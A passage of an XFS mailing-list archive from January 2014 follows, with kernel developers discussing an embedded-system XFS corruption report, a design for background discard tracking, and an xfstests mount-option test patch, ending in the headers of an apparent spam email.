b/tests/btrfs/022 old mode 100644 new mode 100755 From Muralitharan.Perumal@pace.com Mon Jan 13 14:32:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 763877F3F for ; Mon, 13 Jan 2014 14:32:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 31CFD304059 for ; Mon, 13 Jan 2014 12:32:22 -0800 (PST) X-ASG-Debug-ID: 1389645141-04bdf00fe2697cd0001-NocioJ Received: from na01-bl2-obe.outbound.protection.outlook.com (mail-bl2lp0204.outbound.protection.outlook.com [207.46.163.204]) by cuda.sgi.com with ESMTP id 7uQJekfigJJPnjMA (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 13 Jan 2014 12:32:21 -0800 (PST) X-Barracuda-Envelope-From: Muralitharan.Perumal@pace.com X-Barracuda-Apparent-Source-IP: 207.46.163.204 Received: from CO2PR05MB796.namprd05.prod.outlook.com (10.141.226.28) by CO2PR05MB794.namprd05.prod.outlook.com (10.141.226.19) with Microsoft SMTP Server (TLS) id 15.0.851.15; Mon, 13 Jan 2014 20:32:13 +0000 Received: from CO2PR05MB796.namprd05.prod.outlook.com ([10.141.226.28]) by CO2PR05MB796.namprd05.prod.outlook.com ([10.141.226.28]) with mapi id 15.00.0842.003; Mon, 13 Jan 2014 20:32:13 +0000 From: Muralitharan Perumal To: "xfs@oss.sgi.com" Subject: RE: kernel 2.6.22 pdflush consumes ~90% cpu Thread-Topic: kernel 2.6.22 pdflush consumes ~90% cpu X-ASG-Orig-Subj: RE: kernel 2.6.22 pdflush consumes ~90% cpu Thread-Index: AQHPEHAFfRXqXLLbgEyVXWZ9gP10WJqDG6sQ Date: Mon, 13 Jan 2014 20:32:12 +0000 Message-ID: <36564b8f1d004d8584e5622863f6dd69@CO2PR05MB796.namprd05.prod.outlook.com> References: <52D3FF2E.3010901@pace.com> In-Reply-To: <52D3FF2E.3010901@pace.com> Accept-Language: en-GB, en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [194.60.90.4] x-forefront-prvs: 00909363D5 x-forefront-antispam-report: SFV:NSPM;SFS:(10009001)(13464003)(199002)(189002)(164054003)(5423002)(54356001)(79102001)(53806001)(49866001)(54316002)(76796001)(46102001)(50986001)(63696002)(65816001)(47976001)(66066001)(19580395003)(80976001)(83322001)(47736001)(19580405001)(51856001)(33646001)(81816001)(93136001)(92566001)(76786001)(56776001)(59766001)(77982001)(76482001)(80022001)(76576001)(74876001)(87936001)(31966008)(4396001)(81686001)(81342001)(2656002)(87266001)(85306002)(69226001)(74662001)(83072002)(74706001)(47446002)(90146001)(81542001)(56816005)(74316001)(74366001)(85852003)(74502001)(24736002);DIR:OUT;SFP:1101;SCL:1;SRVR:CO2PR05MB794;H:CO2PR05MB796.namprd05.prod.outlook.com;CLIP:194.60.90.4;FPR:;RD:InfoNoRecords;A:1;MX:1;LANG:en; Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-OriginatorOrg: pace.com X-Barracuda-Connect: mail-bl2lp0204.outbound.protection.outlook.com[207.46.163.204] X-Barracuda-Start-Time: 1389645141 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Hi Dave, Is this related to log buffer size when formatting and mounting as I am jus= t using the default 32KB buffer size? Any pointers will be helpful. -----Original Message----- From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On Behalf Of= Muralitharan Perumal Sent: 13 January 2014 14:59 To: xfs@oss.sgi.com Subject: kernel 2.6.22 pdflush consumes ~90% cpu Hi, I am currently working on an embedded platform involving XFS as the preferr= ed fs. Earlier, ext3 was used but now replaced with XFS. The unit is workin= g fine with ext3 but after replacing with XFS, I am seeing a few issues: a) Occassionally I am getting the following error when we write files to th= e fs: attempt to access beyond end of device sda1: rw=3D0, want=3D10487141907480064, limit=3D9766912 I/O error in filesystem ("sda1") meta-data dev sda1 block 0x254200001abdf8 = ("xfs_trans_read_buf") error 5 buf count 4096 attempt to access beyond end of device sda1: rw=3D0, want=3D10487141907480064, limit=3D9766912 I/O error in filesystem ("sda1") meta-data dev sda1 block 0x254200001abdf8 = ("xfs_trans_read_buf") error 5 buf count 4096 b) After running for about 20 to 25 minutes, the pdflush consumes about 90%= cpu and stuck there in D state: Is there any similar issue seen with kernel 2.6.22? Am I missing any XFS pa= tches that could fix this? Any pointers would be helpful. Thanks, Murali IMPORTANT NOTICE - this e-mail and any attachments hereto are strictly conf= idential and intended solely for the addressee. If you are not the intended= recipient, please notify the sender to report the error and delete this co= mmunication immediately. You must not disclose, forward or copy this e-mail= or any attachments hereto without the prior consent of the sender. IMPORTANT NOTICE - this e-mail and any attachments hereto are strictly conf= idential and intended solely for the addressee. If you are not the intended= recipient, please notify the sender to report the error and delete this co= mmunication immediately. You must not disclose, forward or copy this e-mail= or any attachments hereto without the prior consent of the sender. From david@fromorbit.com Mon Jan 13 14:43:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 486C07F3F for ; Mon, 13 Jan 2014 14:43:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 06AB9304043 for ; Mon, 13 Jan 2014 12:43:21 -0800 (PST) X-ASG-Debug-ID: 1389645799-04bdf0568e255f40001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id QSVvKqlwu1MJ5jSD for ; Mon, 13 Jan 2014 12:43:19 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswJACtP1FJ5LKVw/2dsb2JhbABSCIMLgzqxdIVJAQmBGBd0giUBAQEDATocIwULCAMYCSUPBSUDIROHfAfFDxcWjhsNSQeENwSYFopMh0qDQSiBLQ Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Jan 2014 07:13:18 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2oLq-0003mi-AG; Tue, 14 Jan 2014 07:43:14 +1100 Date: Tue, 14 Jan 2014 07:43:14 +1100 From: Dave Chinner To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Message-ID: <20140113204314.GJ3469@dastard> X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> <20131226230018.GJ20579@dastard> <20140113030230.GF3469@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1389645799 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 13, 2014 at 07:44:13PM +0200, Alex Lyakas wrote: > On Mon, Jan 13, 2014 at 5:02 AM, Dave Chinner wrote: > > On Wed, Jan 08, 2014 at 08:13:38PM +0200, Alex Lyakas wrote: > Hi Dave, > Thank you for your comments, and for pointing me at the commits. [snip stuff we both understand] > > I really don't see any advantage in tracking discard ranges like > > this, because we can do these optimisations of merging and trimming > > just before issuing the discards. And realistically, merging and > > trimming is something the block layer should be doing for us > > already. > > > Yes, I realize that XFS mindset is to do pure filesystem work, i.e., > arrange blocks of data in files and map them to disk. The rest should > be handled by application above and by the storage system below. In > your awesome AU2012 talk, you also confirm that mindset. Trouble is > that the block layer cannot really merge small discard requests, > without the information that you have in AGF btrees. Ok, I see what you are getting at here - mounting -o discard does not alleviate the need for occasionally running fstrim to issue discards on large free extents that may have formed from lots of small, disjoint extents being freed. IOWs, we cannot perfectly optimise fine grained discards without some form of help from tracking "overlaps" with already freed, discarded space. [snip] > >> What do you think overall about this approach? Is there something > >> fundamental that prevents it from working? > > > > I'm not convinced that re-introducing busy extent commit > > sequence tracking and blocking to optimise discard operations is a > > particularly good idea given the above. > I am not sure I am suggesting to block or lock anything (perhaps I am, > without realizing that). By and large, I suggest to have another data > structure, an rbtree, that tracks discard ranges. Right, I understand this. Go back to this comment you had about allocating a range that a discard is currently being issued on: | If during xfs_alloc_fixup_trees() we discover that extent is already | being discarded, we need to wait. Assuming we have asynchronous | discard, this wait will be short - we only need the block device to | queue the discard request, and then we are good to allocate from | that area again That will be blocking with the AGF held, regardless of whether we have asynchronous discard or not. Essentially, background discard can be considered "asynchronous" when viewed from the context of allocation. I'd forgotten that we effectively do that blocking right now xfs_extent_busy_update_extent(), when we trip over an extent being discarded, so this shouldn't be a blocker for a different discard tracking implementation. :) > This rbtree is > loosely connected to the busy extent rbtree. And I suggest three > things to do with this new rbtree: Yes, but lets improve that "loose connection" by making them almost not connected at all. > - Whenever a busy extent is added, maybe add a discard range to the > second rbtree, and attach it to the busy extent (if we got a nice > discard range) > - For each new allocation, check if something needs to be > removed/changed in this rbtree. Yes, I realize this is additional > work. It's not a huge amount of extra work compared to the rest of the allocation path, so I don't see this as a major issue. > - When a busy extent commits, by all means we "unbusy" the extent as > usual. But we also check in the second rbtree, whether we can issue a > discard for some discard range. Perhaps we can. Or we cannot because > of other busy extents, that have not committed yet (the numbering is > used to determine that). In that case, we will discard later, when all > the needed busy extent commit. Unless new allocation removed/changed > this discard range already. But we are not delaying the "unbusying" of > the busy extent, and we are not keeping the AGF locked (I think). > Also, we are issuing discards in the same place and context where XFS > does it today. This is where I think the issues lie. We don't want to have to do anything when a busy extent is removed at transaction commit - that's the reason online discard sucks right now. And we want to avoid having to care about transactions and ordering when it comes to tracking discard ranges and issuing them. The way I see it is that if we have a worker thread that periodically walks the discard tree to issue discards, we simply need to do a busy extent tree lookup on the range of each discard being tracked. If there are busy extents that span the discard range, then the free space isn't yet stable and so we can't issue the discard on that range. If there are no busy extents over the discard range then the free space is stable and we can issue the discard. i.e. if we completely dissociate the discard and busy extent tracking and just replace it with a busy extent lookup at discard time then we don't need any sort of reference counting or log sequence tracking on busy extents or discard ranges. FWIW, if we do this then we can change fstrim xfs_trim_extents() to queue up all the work to be done in the background simply by populating the discard tree with all the free space ranges we wish to discard. This will significantly reduce the impact of fstrim on filesystem runtime performance as the AGF will only be held locked long enough to populate the discard tree. And if we do the work per-ag, then we are also parallelising it by allowing discards on multiple AGs to be issued at once and hence it will be significantly faster on devices that can queue TRIM commands (SATA 3.1, SAS and NVMe devices)..... The fact that this track and background issue mechanism would allow us to optimise both forms of discard the filesystem supports makes me optimistic that we are on the right path. :) > >> question that I have: > >> # xfs_free_ag_extent() has a "isfl" parameter. If it is "true", then > >> this extent is added as usual to the free-space btrees, but the > >> caller doesn't add it as a busy extent. This means that such extent > >> is suitable for allocation right away, without waiting for the log > >> commit? > > > > It means the extent is being moved from the AGFL to the free space > > btree. blocks on the AGFL have already gone through free space > > accounting and busy extent tracking to get to the AGFL, and so there > > is no need to repeat it when moving it to the free space btrees. > Ok, I realize now that this block has already gone through the busy > extent tracking via xfs_allocbt_free_block(). Right, and note that blocks going through that path aren't discarded due to the XFS_EXTENT_BUSY_SKIP_DISCARD flag. This is due to the fact they are being freed to the AGFL and as such are likely to be reused immediately. ;) > P.S.: Just watched your AU2014 talk. Interesting. It was a little bit different. And fun. ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Mon Jan 13 14:50:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1A0467F3F for ; Mon, 13 Jan 2014 14:50:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id EB0EF304043 for ; Mon, 13 Jan 2014 12:50:02 -0800 (PST) X-ASG-Debug-ID: 1389646201-04cbb04169d94630001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id HUXBJhAEFDOAiBIe for ; Mon, 13 Jan 2014 12:50:01 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 736DF6541630; Mon, 13 Jan 2014 14:50:01 -0600 (CST) Message-ID: <52D45178.7020009@sandeen.net> Date: Mon, 13 Jan 2014 14:50:00 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Muralitharan Perumal , xfs@oss.sgi.com Subject: Re: kernel 2.6.22 pdflush consumes ~90% cpu References: <52D3FF2E.3010901@pace.com> X-ASG-Orig-Subj: Re: kernel 2.6.22 pdflush consumes ~90% cpu In-Reply-To: <52D3FF2E.3010901@pace.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389646201 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/13/14, 8:58 AM, Muralitharan Perumal wrote: > Hi, > > I am currently working on an embedded platform involving XFS as the > preferred fs. Earlier, ext3 was used but now replaced with XFS. The unit > is working fine with ext3 but after replacing with XFS, I am seeing a > few issues: a 7 year old kernel on an embedded platform? Nobody here will be able to spend much time on this I'm afraid. > a) Occassionally I am getting the following error when we write files to > the fs: > > attempt to access beyond end of device > sda1: rw=0, want=10487141907480064, limit=9766912 > I/O error in filesystem ("sda1") meta-data dev sda1 block 0x254200001abdf8 ("xfs_trans_read_buf") error 5 buf count 4096 > attempt to access beyond end of device > sda1: rw=0, want=10487141907480064, limit=9766912 > I/O error in filesystem ("sda1") meta-data dev sda1 block 0x254200001abdf8 ("xfs_trans_read_buf") error 5 buf count 4096 looks like on-disk corruption. xfs_repair is probably warranted. > b) After running for about 20 to 25 minutes, the pdflush consumes about 90% cpu and stuck there in D state: do a sysrq-w to get backtraces of all blocked tasks, and that might yield a clue for you. -Eric > Is there any similar issue seen with kernel 2.6.22? Am I missing any XFS patches that could fix this? > > Any pointers would be helpful. > > Thanks, > Murali > > > IMPORTANT NOTICE - this e-mail and any attachments hereto are strictly confidential and intended solely for the addressee. If you are not the intended recipient, please notify the sender to report the error and delete this communication immediately. You must not disclose, forward or copy this e-mail or any attachments hereto without the prior consent of the sender. > > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From david@fromorbit.com Mon Jan 13 14:56:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1AA7F7F3F for ; Mon, 13 Jan 2014 14:56:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 87F39AC003 for ; Mon, 13 Jan 2014 12:56:40 -0800 (PST) X-ASG-Debug-ID: 1389646597-04cb6c537dd8c290001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 5xaYc3E7HGnDYnrf for ; Mon, 13 Jan 2014 12:56:38 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqEOALFS1FJ5LKVw/2dsb2JhbABagwuDOqMbjlmFU4EYF3SCJQEBAQMBOhwjBQsIAxgJJQ8FJQMhE4d8B8UMFxaOGlcHhDcElDODY5IWg0EogS0 Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Jan 2014 07:26:13 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2oYM-0003pf-LR; Tue, 14 Jan 2014 07:56:10 +1100 Date: Tue, 14 Jan 2014 07:56:10 +1100 From: Dave Chinner To: Muralitharan Perumal Cc: xfs@oss.sgi.com Subject: Re: kernel 2.6.22 pdflush consumes ~90% cpu Message-ID: <20140113205610.GK3469@dastard> X-ASG-Orig-Subj: Re: kernel 2.6.22 pdflush consumes ~90% cpu References: <52D3FF2E.3010901@pace.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D3FF2E.3010901@pace.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1389646597 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 13, 2014 at 02:58:54PM +0000, Muralitharan Perumal wrote: > Hi, > > I am currently working on an embedded platform involving XFS as the > preferred fs. Earlier, ext3 was used but now replaced with XFS. The unit > is working fine with ext3 but after replacing with XFS, I am seeing a > few issues: > > a) Occassionally I am getting the following error when we write files to > the fs: > > attempt to access beyond end of device > sda1: rw=0, want=10487141907480064, limit=9766912 > I/O error in filesystem ("sda1") meta-data dev sda1 block 0x254200001abdf8 ("xfs_trans_read_buf") error 5 buf count 4096 > attempt to access beyond end of device > sda1: rw=0, want=10487141907480064, limit=9766912 > I/O error in filesystem ("sda1") meta-data dev sda1 block 0x254200001abdf8 ("xfs_trans_read_buf") error 5 buf count 4096 It's trying to write way beyond the end of the device, hence the error. I'd suggest updating to xfsprogs 3.11 and running xfs_repair -n /dev/sda1 on the device and seeing if it finds a corrupt block map on an inode somewhere. > b) After running for about 20 to 25 minutes, the pdflush consumes about 90% cpu and stuck there in D state: It can't be stuck in an uninterruptible sleep (D state) and consuming CPU at the same time.... > Is there any similar issue seen with kernel 2.6.22? Am I missing any XFS patches that could fix this? That's a 6 year old kernel. I'd suggest that an upgrade to something more recent might be in order... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jan 13 15:23:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 575867F3F for ; Mon, 13 Jan 2014 15:23:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3C705304064 for ; Mon, 13 Jan 2014 13:23:10 -0800 (PST) X-ASG-Debug-ID: 1389648187-04cbb04168d95160001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Gcz9RTUBnntocecl for ; Mon, 13 Jan 2014 13:23:08 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgJAK1Y1FJ5LKVw/2dsb2JhbABagwuDOrF0hVOBGRd0giUBAQEDATocIwULCAMYCSUPBSUDIROHfAfFDhcWjhlYB4Q3BJgWkhaDQSiBLAIeBg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Jan 2014 07:53:07 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2oyN-0003uc-63; Tue, 14 Jan 2014 08:23:03 +1100 Date: Tue, 14 Jan 2014 08:23:03 +1100 From: Dave Chinner To: Qu Wenruo Cc: Eric Sandeen , xfs@oss.sgi.com, Eric Sandeen , linux-btrfs Subject: Re: [PATCH] xfstests: Add pairing mount options test Message-ID: <20140113212303.GL3469@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Add pairing mount options test References: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> <52D01CA9.4040107@sandeen.net> <52D33F92.2000609@cn.fujitsu.com> <52D342F0.5020402@sandeen.net> <20140113015239.GD3469@dastard> <52D34EBD.4020508@cn.fujitsu.com> <20140113032650.GH3469@dastard> <52D364DA.4000708@cn.fujitsu.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D364DA.4000708@cn.fujitsu.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1389648187 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144052 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 13, 2014 at 12:00:26PM +0800, Qu Wenruo wrote: > On Mon, 13 Jan 2014 14:26:50 +1100, Dave Chinner wrote: > >On Mon, Jan 13, 2014 at 10:26:05AM +0800, Qu Wenruo wrote: > >>On mon, 13 Jan 2014 12:52:39 +1100, Dave Chinner wrote: > >>>On Sun, Jan 12, 2014 at 07:35:44PM -0600, Eric Sandeen wrote: > >>>>I won't say no to this, but it seems to be of somewhat limited use. > >>>What happens to the test when mount options are deprecated/removed? > >>>How are we going to handle the matrix of testable/untestable mount > >>>options across kernels with different mount option support? > >>In my opinion,there may be two ways to deal it: > >>1) Introduce up_limit_kver and down_limit_kver to *every* mount option. > >>If needed also add deprecated flags. > >Both of which are messy, and kernel version number checks don't work > >with vendor kernels that have stuff back ported to them. > > > >>This method will introduce more effort tomaintain the test case, but > >>due to the small codes and > >>relativly less changes in mount options, I consider it as an > >>acceptable method. > >What you are saying is that such a test will require constant > >maintenance from upstream developers to keep working across all the > >kernels that btrfs supports. > > > >When combined with Eric's comments that it doesn't test the > >functionality and so has relatively little benefit in terms of > >improving code coverage, it doesn't paint a pretty picture. So from > >that point of view, I'd say no to such a test. > > > >>It would be quite nice if any one can provide any better idea. > >Write a test for each individual feature that exercises and > >validates that feature in some way. Part of a functional test would > >be to test that the mount options for that function do what they are > >intended to do. Eric suggested the same thing (though in a different > >way). > > > >Cheers, > > > >Dave. > That's right, individual test case is the best way. > > But most of the options are just instructive options, > and only affects performance, it's very hard to test. (like > space_cace and nospace_cache) Bad example. nospace_cache/space_cache change what is stored on disk, and affect *mount* processing depending on whether there is a cache or not. It also affects how tools like fsck.btrfs check the filesystem and so on. There is far more to test than just remount behaviour when testing the functionality of such a mount option, and that's the reason why they should be done in targeted feature tests. > Now I'm interested in how other filesystems like xfs makes sure that > every pairing > mount options are tested. XFS has extremely limited remount option support, and we already have xfs/189 for that. And it does all sorts of interesting things to support the different configurations and behaviours of /etc/mtab that different distros use because that changes mount behaviour.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From market.research.internationale@gmail.com Mon Jan 13 16:11:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D58CF7F3F for ; Mon, 13 Jan 2014 16:11:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A8D94304062 for ; Mon, 13 Jan 2014 14:11:33 -0800 (PST) X-ASG-Debug-ID: 1389651091-04bdf00fe069a0d0001-w1Z2WR Received: from mailgw.vipnet.ci (mailgw.vipnet.ci [41.207.210.91]) by cuda.sgi.com with ESMTP id dZJc5kHplhhIpXZh for ; Mon, 13 Jan 2014 14:11:32 -0800 (PST) X-Barracuda-Envelope-From: market.research.internationale@gmail.com X-Barracuda-Apparent-Source-IP: 41.207.210.91 Received: from localhost (localhost [127.0.0.1]) by mailgw.vipnet.ci (Postfix) with ESMTP id 78807820D43 for ; Mon, 13 Jan 2014 21:58:11 +0000 (GMT) X-Virus-Scanned: Debian amavisd-new at mailgw.vipnet.ci Received: from mailgw.vipnet.ci ([127.0.0.1]) by localhost (mailgw.vipnet.ci [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id hwD0i5d0HQ9E for ; Mon, 13 Jan 2014 21:58:11 +0000 (GMT) Received: by mailgw.vipnet.ci (Postfix, from userid 1001) id BFE5D79667B; Mon, 13 Jan 2014 21:35:21 +0000 (GMT) Received: from courrier.laloyale.net (unknown [41.207.210.152]) by mailgw.vipnet.ci (Postfix) with ESMTP id BDE2780538D for ; Mon, 13 Jan 2014 21:33:21 +0000 (GMT) Received: from localhost (localhost [127.0.0.1]) by courrier.laloyale.net (Postfix) with ESMTP id D3C3EBC17F for ; Mon, 13 Jan 2014 21:22:02 +0000 (GMT) X-Virus-Scanned: Debian amavisd-new at laloyale.net Received: from courrier.laloyale.net ([127.0.0.1]) by localhost (courrier.laloyale.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id fovrNsDwLmES for ; Mon, 13 Jan 2014 21:22:02 +0000 (GMT) Received: from Space2Let (unknown [192.168.0.3]) by courrier.laloyale.net (Postfix) with ESMTP id A4ABABC517 for ; Mon, 13 Jan 2014 21:21:57 +0000 (GMT) Message-ID: <01636705-41653-03951274093171@space2let> From: "Raj Gupta" To: linux-xfs@oss.sgi.com Subject: Travel feature on your Hotel/Resort Date: Tue, 14 Jan 2014 03:02:29 +0530 